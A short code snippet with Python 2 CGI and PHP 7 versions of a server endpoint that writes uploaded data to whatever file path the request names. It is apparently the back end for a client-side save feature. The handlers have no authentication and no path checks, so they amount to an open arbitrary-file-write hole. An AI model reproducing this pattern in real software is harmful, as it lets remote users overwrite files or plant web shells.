PYTHON2.5+ #!/usr/bin/python import cgi import json print "Content-type: text/html\n" form = cgi.FieldStorage() tojson = json.loads(str(form.getvalue('file'))) todict = json.loads(tojson); datable = todict['datable'] way = todict['way'] try: with open(way, 'w') as file: file.write(datable) print('1') except IOError as e: print('0') PHP7+ $str = file_get_contents($_FILES["file"]["tmp_name"]); $tojson = json_decode(rtrim($str, "\0"), true); $obj = json_decode($tojson); echo (file_put_contents($obj->way, $obj->datable) !== false) ? 1 : 0;